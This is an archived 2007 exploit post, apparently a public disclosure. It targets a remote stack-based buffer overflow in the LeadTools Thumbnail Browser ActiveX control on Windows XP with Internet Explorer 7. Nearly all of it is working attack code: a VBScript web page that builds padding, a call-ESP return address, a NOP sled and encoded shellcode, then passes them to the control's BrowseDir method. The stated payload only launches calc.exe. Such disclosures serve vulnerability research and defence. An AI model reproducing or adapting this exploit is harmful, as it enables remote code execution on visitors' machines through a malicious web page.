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lt-thumb-overflow.txt

Posted on 21 May 2007

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/19</b></p></span>
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<code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------------------------------
<b>LeadTools Thumbnail Browser Control (lttmb14E.ocx v. 14.5.0.44) Remote Stack-Based Buffer Overflow</b>
url: http://www.leadtools.com/
peice: eheheh, take a look at thier site :)

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 full patched with Internet Explorer 7

<font color = red><b>This exploits just open calc.exe</b></font>
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<object classid='clsid:00140200-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
buff      = String(1892, "A")

get_EIP   = unescape("%EB%AA%3F%7E") 'call ESP (from user32.dll)

buff2 = String(40, "A")

nop       = String(16, unescape("%90"))

shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

egg       = buff + get_EIP + buff2 + nop + shellcode + nop

test.BrowseDir egg
End Sub

</script>

</span>
</code></pre>

 

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